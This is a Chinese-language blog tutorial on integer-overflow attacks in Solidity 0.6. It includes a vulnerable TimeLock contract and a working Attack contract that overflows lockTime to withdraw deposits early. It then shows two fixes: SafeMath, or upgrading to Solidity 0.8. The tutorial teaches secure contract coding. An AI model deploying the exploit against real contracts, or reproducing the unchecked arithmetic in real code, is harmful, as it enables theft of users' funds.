51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Solidity - 数学安全运算溢出攻击

今天给大家讲解下合约的数学安全运算溢出攻击的问题,导致这个问题产生的原因主要是使用了solidity的低版本,或者使用了低版本后没有使用官方的安全库来解决。具体来说,比如使用的是0.6的版本,那么我们在编写合约的时候用的是加减乘除的写法,但是没有引入官方的安全库的写法,就会导致数学安全运算的溢出问题。 接下来,我们使用代码示例来讲解下溢出发生的原因,以及如何解决溢出问题。

首先,我们写一份TimeLock合约,合约的主要逻辑是用户通过deposit方法可以将eth存入合约,但是当取出eth的时候,合约内部做了时间的限制,要求一星期后才能取出。代码如下。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

接下来,我们编写一份攻击合约。代码的主要逻辑是调用TimeLock合约的increaseLockTime方法,将时间进行增加操作,使得时间变量值增加变得溢出。代码如下。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) public {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            // type(uint).max + 1 - timeLock.lockTime(address(this))
            uint(-timeLock.lockTime(address(this)))
        );
        timeLock.withdraw();
    }
}

我们在remix上演示一下具体的流程。 首先,我们编译部署TimeLock合约,用户A质押了1个ether到合约内,但是用户A受到时间的限制无法立即取出ether,所以此时触发withdraw方法会报错。

其次,我们编译部署Attack合约,用户B质押1个ether并触发attack方法,此时用户B根据attack方法的逻辑,将1个ether存入到了TimeLock合约,但是随即又可以从TimeLock合约中将质押的1个ether提取出来。从TimeLock合约查看Attack合约的余额可以发现为1个ether,证明已经提取出来了。再查看Attack合约的lockTime,此时已经变成了0,证明攻击成功。

要解决以上的问题,我们第一种方案是使用0.6版本的前提下,使用官方的安全运算库来解决。代码如下。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";

contract TimeLock {
    using SafeMath for uint;

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

使用了安全运算库后,当我们去攻击TimeLock合约时,就会报错。如下图。

第二种方案是直接升级solidity的版本至0.8。代码如下。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

此时,当我们去攻击TimeLock合约时,也会报错。如下图。

好了,数学安全运算溢出攻击已经讲解完了。如果喜欢我的课程,就点个关注吧。

赞(3)
未经允许不得转载:工具盒子 » Solidity - 数学安全运算溢出攻击